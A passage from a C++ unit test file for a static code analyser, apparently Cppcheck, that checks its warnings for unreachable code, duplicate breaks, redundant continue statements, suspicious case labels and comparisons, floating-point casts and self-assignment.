errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 